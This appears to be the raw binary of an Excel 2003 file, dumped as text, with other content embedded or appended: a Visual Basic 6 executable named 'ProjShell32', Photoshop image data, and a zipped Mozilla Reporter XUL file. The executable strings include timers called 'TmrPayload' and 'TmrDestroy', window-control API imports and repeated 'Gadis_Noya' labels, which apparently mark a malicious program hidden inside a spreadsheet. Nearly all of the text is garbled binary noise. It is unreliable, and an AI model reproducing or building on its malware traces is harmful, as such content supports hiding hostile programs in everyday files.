;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019
Joe Cage B
""#,##0;""\-#,##0
""#,##0;[Red]""\-#,##0
""#,##0.00;""\-#,##0.00
""#,##0.00;[Red]""\-#,##0.00
_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_
_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_
_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_
_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_
\$#,##0_);\(\$#,##0\)
\$#,##0_);[Red]\(\$#,##0\)
\$#,##0.00_);\(\$#,##0.00\)
\$#,##0.00_);[Red]\(\$#,##0.00\)
#,##0.00_
#,##0_
"Yes";"Yes";"No"
"True";"True";"False"
"On";"On";"Off"
0.00_
0_);[Red]\(0\)
0.00_);\(0.00\)
???
???
???
6ReN!j
hgUSCQ<h
hgUSCQ<h
fJTe,g
fJTe,g
cUSCQ<h
cUSCQ<h
0]hVwQ9
vQN9(u
]KQkSu
]KQkSu
^yv;`{h
gPlQSQS
,{hQu
M&d2?'
M&d2?(
M&d2?)
M&d2?M
jZ?\.?
Microsoft Excel
!Print_Titles
Microsoft Office Excel 2003
Excel.Sheet.8
4/17/2019 4/17/2019 4/25/2019 14/25/2019 1MZ
L!This program cannot be run in DOS mode.
PEC2^O
ProjShell32
Using shell32.dll functions
irOu@EEf9
TmrDestroy
TmrPayload
Command3
Command3
Command2
Command2
Command1
Command1
VB5!*
Shell32Functions
Using Shell32.dll
ProjShell32
!fOfOfOzC0@
G:7$C3
ProjShell32
Module1
FormShowDos
Module2
modComputerName
rOu@EEf9
EABHf{KeE
+3qC:\Program Files\Microsoft Visual Studio\VB98\VB6.OLB
TmrPayload
VBA6.DLL
Command1
Command2
Command3
TmrDestroy
user32
GetForegroundWindow
SetWindowTextA
GetWindowTextA
kernel32
lstrcpyA
SetWindowPos
FindWindowA
PostMessageA
Gadis_Noya
Gadis_A_Noya
Gadis_B_Noya
Gadis_C_Noya
Gadis_D_Noya
Gadis_E_Noya
Gadis_F_Noya
Gadis_G_Noya
Gadis_H_Noya
Gadis_I_Noya
+3q"=h
+3qyO3f
GetComputerNameA
[,JAF'
e/<C@[d
d,qJ`mN3f
Picture1
BitBlt
GetDesktopWindow
ReleaseDC
__vbaVarTstEq
__vbaStrCmp
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaStrVarMove
__vbaVarCmpNe
__vbaVarAnd
__vbaBoolVarNull
__vbaLateIdCallLd
__vbaEnd
__vbaVarSub
__vbaVarForNext
__vbaVarAdd
__vbaVarDup
__vbaI4Var
__vbaStrMove
__vbaVarMove
__vbaLenBstr
__vbaVarForInit
__vbaVarLateMemCallLd
__vbaObjVar
__vbaVarSetVar
__vbaFreeVar
__vbaFreeVarList
__vbaFreeObjList
__vbaFreeStrList
__vbaVarCat
__vbaStrVarVal
__vbaObjSet
__vbaFreeObj
__vbaFreeStr
__vbaStrCat
__vbaNew2
__vbaObjSetAddref
__vbaHresultCheckObj
__vbaOnError
__vbaPrintFile
__vbaR4Var
__vbaVarCmpEq
__vbaVarOr
__vbaVarZero
__vbaAryUnlock
__vbaNextEachVar
__vbaFileClose
__vbaVarLateMemCallLdRf
__vbaForEachVar
__vbaVargVar
__vbaErrorOverflow
__vbaPut3
__vbaGet3
__vbaFileOpen
__vbaFpI4
__vbaI2I4
__vbaLateMemCall
__vbaStrVarCopy
__vbaInStrVar
__vbaStrCopy
[,JAF'
FormShowDos
Courier NewD
Picture1
MS Sans Serif;
Using shell32.dll functions
}SVWeE
} jXh0@
}#j(hp5@
}#j,h5@
}#j(h5@
}#j,h5@
}#j$h5@
}#jTh5@
}#jHh5@
}#j h5@
MQ8REP
MQUREPMQUREPMQURj
$EPMQj
HRXPhQxREPMQURj
rMQUREPMQUREPMQURj
$EPMQj
HRXPhQxREPMQURj
4SVWeE
F4~43;
j0hp5@
}#jPh6@
PtQREP
QTRdPMQ
TPdQUR
R4PDQUR
4QDREP
}#jhh6@
}#j|h6@
}#jXh6@
}#jXh6@
TRdPQRj
}#j4hp5@
4RDPTQdRtPQRj
4PDQTRdPtQRPQRPj
SVWeE8
uuuuuuutdTD4$
<D4R$PQ
TdRtPQj
UDtRPQ
EMPtQR
U|ttLPDj
=EMPQj
TdRtPQj
SVWeEH
uuuu|ld\XTD4$
RPQRMPQ
$4RDPQj
E|PDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEX
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEh
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEx
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuuuuutdTD4$
<D4R$PQ
TdRtPQj
UDtRPQ
EMPtQR
U|ttLPDj
EPhh8@
=EMPQj
TdRtPQj
\SVWeE
} jPh6@
}#jXh6@
UREPMQUREPj
MQUREPMQURj
XSVWeE(
UREPQRPQ
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
MQRPQR
EPMQRPQR
URPQRP
PRTPXQ\R`Pj
Q(R8Pj
xREPMQpRlPtQ
PUREPMQj
UREPpQlRtP
PQRdPtQUR
dQtREP
QRPDQTREP
DRTPMQ
RPQ$R4PMQ
$P4QUR
QRPQREP
PR@P,Q
RPQRPMQ
PPpQ,R
PQRPQUR
pQUR,P
QRPQREP
RPQdRtPMQ
dPtQUR
PQRDPTQUR
DQTREP
QRP$Q4REP
$R4PMQ
PQRPQUR
QRPQREP
URpP,Q
QRPQRP
P$Q4RDPTQdRtPQRPQRPQR
Q$R4PDQTRdPtQj
_^[]QVt$
Vt&PX}
_fFX3^Y
EEEE|l\EPVE
QR|UF8QRPE
E\Pl^HQRSE
L|UQF8RP
\lR|PUQRj
}}}}thdTD4$
QP3f h
f9tY9=A
jPhtA@
jPhtA@
jPhtA@
jDhdA@
&dhQRj
mSVWeE
PxQhR0P@QUR
0Q@REP
RxPhQR
PxQhRPQUR
QxRhPQREP
RxPhQRPMQ
PxQhRpPQUR
QxRhPPQ`REP
PR`PMQ
RxPhQ0R@PMQ
0P@QUR
Q R0P@QPR`PpQRPQRPQRP
R P0Q@Rj
tSVWeE
MEPUQRE
;tvUEVPUE
UQREVPE
EMPUQRj
EEEE|l\L<,
xhXH8($
xhXHD4$
tdTD4$
PQRPUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
RPQRMPQ
$R4PQj
PQdRtPUQR
$MPQP4
$P4QRj
dtQERP
QRDPTQERP
$UQRP4
$Q4RPj
hHR4PQ
DTRMPQ
RP$Q4RMPQ
$R4PQj
$4PUQR
<h4P$QR
$R4PQj
$UQRP4
$Q4RPj
RPQRMPQ
$R4PQj
PQRPUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
x|R4PQ
RPQRMPQ
$R4PQj
8MP4QR
PQdRtPUQR
$MPQP4
$P4QRj
dtQERP
QRDPTQERP
$UQRP4
$Q4RPj
DTRMPQ
RP$Q4RMPQ
$R4PQj
$4PUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
<PSh@@
(QSh@@
xRSh@@
8PSh@@
HEPSh@@
URSh@@
$P4QRj
R$P4QDRTPdQtRPQRPQRPQ
P$Q4RDPTQdRtPQRPQRPQj
MSVBVM60.DLL
__vbaVarSub
_CIcos
_adj_fptan
__vbaVarMove
__vbaFreeVar
__vbaLenBstr
__vbaStrVarMove
__vbaPut3
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaNextEachVar
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaVarCmpNe
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaVarForInit
__vbaOnError
__vbaObjSet
_adj_fdiv_m16i
__vbaObjSetAddref
_adj_fdivr_m16i
__vbaVargVar
__vbaBoolVarNull
_CIsin
__vbaVarZero
__vbaChkstk
__vbaFileClose
EVENT_SINK_AddRef
__vbaGet3
__vbaStrCmp
__vbaVarTstEq
__vbaI2I4
__vbaObjVar
DllFunctionCall
__vbaVarOr
_adj_fpatan
__vbaR4Var
__vbaLateIdCallLd
EVENT_SINK_Release
_CIsqrt
__vbaVarAnd
EVENT_SINK_QueryInterface
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaFPException
__vbaInStrVar
__vbaStrVarVal
__vbaVarCat
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVarLateMemCallLdRf
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaFreeStrList
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarSetVar
__vbaI4Var
__vbaVarCmpEq
__vbaLateMemCall
__vbaVarAdd
__vbaVarDup
__vbaStrToAnsi
__vbaFpI4
__vbaVarLateMemCallLd
_CIatan
__vbaStrMove
__vbaStrVarCopy
__vbaForEachVar
_allmul
_CItan
__vbaAryUnlock
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
i>A4-$
fCtS5-'
ECyU80,
{jA4-$
EK-2P|
qL7-2\$
rQG--?YY!
rQG--YaD*
oF:6P}2
oXE--^
o`E:-3
1qqqqpY7-
,tttttttq\Z9*
(}vvvvvvvvvvvvumR2&
#}yyyyyyyyyyyyyyyrn)
"xVO4]
lWTUS?c~'
*$$$$$$$$
*%%%%%%%%*
*'''''''' *
*))))))))!*
*********"*
+++++++++&+
)(((((+++++
+****+
-kkeJ/
.nnnnnnnS8
/qqqqqqqqqqq\@$
tttttttttttttttfI3
wwwwwwwwwwwwwwwwwwwpS<
zzzzzzzzzzzzzzzzzzzzzzzz\E&
}}}}}}}}}}}}}}}}}}}}}}}}}}M
H((wf,
I33lfZ
KUUmfh
[~lR7#
Rqqqqq\G+
0uuuuuuuuugQ4
1zzzzzzzzzzzzzz\>
2}}}}}}}}}}}}}}}}}r
w)dgu6
Hg3&;wG
D9#?^}
!u}M9&
~!fnnnnnnnn:
$f&zzzzzzzzC
u0,,,,,,'#
11/15/2008
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
